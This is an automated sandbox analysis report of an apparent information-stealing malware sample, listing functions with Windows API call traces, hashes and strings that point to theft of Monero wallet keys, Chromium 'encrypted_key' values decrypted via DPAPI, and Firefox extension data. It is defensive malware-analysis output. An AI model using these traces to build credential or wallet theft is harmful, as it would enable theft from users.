Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(011287C0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0040A00D
LoadLibraryA.KERNEL32(0112D510), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlen.KERNEL32(00404F55,?,?,00404F55,00420DC6), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420DC6,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(011287C0,00000000,00000000,?,00421290,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1843082770
Opcode ID: 10f27e55da37b773086d12bec68d52addc32adbbd6d7a470ca42a85af3f6699b
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 10f27e55da37b773086d12bec68d52addc32adbbd6d7a470ca42a85af3f6699b
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(00420E02,01129BF8,0042059E,?,?,004013F9,?,0000001A,00420E02,00000000,?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlen.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlen.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTime
String ID:
API String ID: 3104408854-0
Opcode ID: c13cdd57b3efb6d4fb33307c09e72734a05c8bd8e18267511785477f249e6368
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: c13cdd57b3efb6d4fb33307c09e72734a05c8bd8e18267511785477f249e6368
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(00420E02,01129BF8,0042059E,?,?,004013F9,?,0000001A,00420E02,00000000,?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlen.KERNEL32(00000000), ref: 0040D7DF
lstrlen.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 87299dc27da0307e05e9e37ad13f35dbe205ecae4850881d264d4ed7e27c89af
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 87299dc27da0307e05e9e37ad13f35dbe205ecae4850881d264d4ed7e27c89af
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(0040148F), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlen.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 5dc7e712f52745a15dbb8c969fc6fda5cb576228903045ef1a993a29b53fe766
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 5dc7e712f52745a15dbb8c969fc6fda5cb576228903045ef1a993a29b53fe766
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00409D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,0040148F,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(0040148F), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

"encrypted_key":", xrefs: 00409D80
, xrefs: 00409E11
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 549879638-738592651
Opcode ID: 2cbacc7307f5e9f2635348e54ca353e544c0d7d986252b9c4e1df462e29d48db
Instruction ID: 49b5ccfd66f28b839f6c69ac0cd110c3bbe8f30fffee833f3c7723fee6d5a7ed
Opcode Fuzzy Hash: 2cbacc7307f5e9f2635348e54ca353e544c0d7d986252b9c4e1df462e29d48db
Instruction Fuzzy Hash: 953150B5D00108ABCB04DFE4DC49AEF77B8AF58304F44456AE915B3382EB389E44CBA5

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 84c91f438071d244c768eff0fec7a436b7a4baea85b4b9ac069ef1245721cf1d
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 84c91f438071d244c768eff0fec7a436b7a4baea85b4b9ac069ef1245721cf1d
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01128670,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,01128670,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
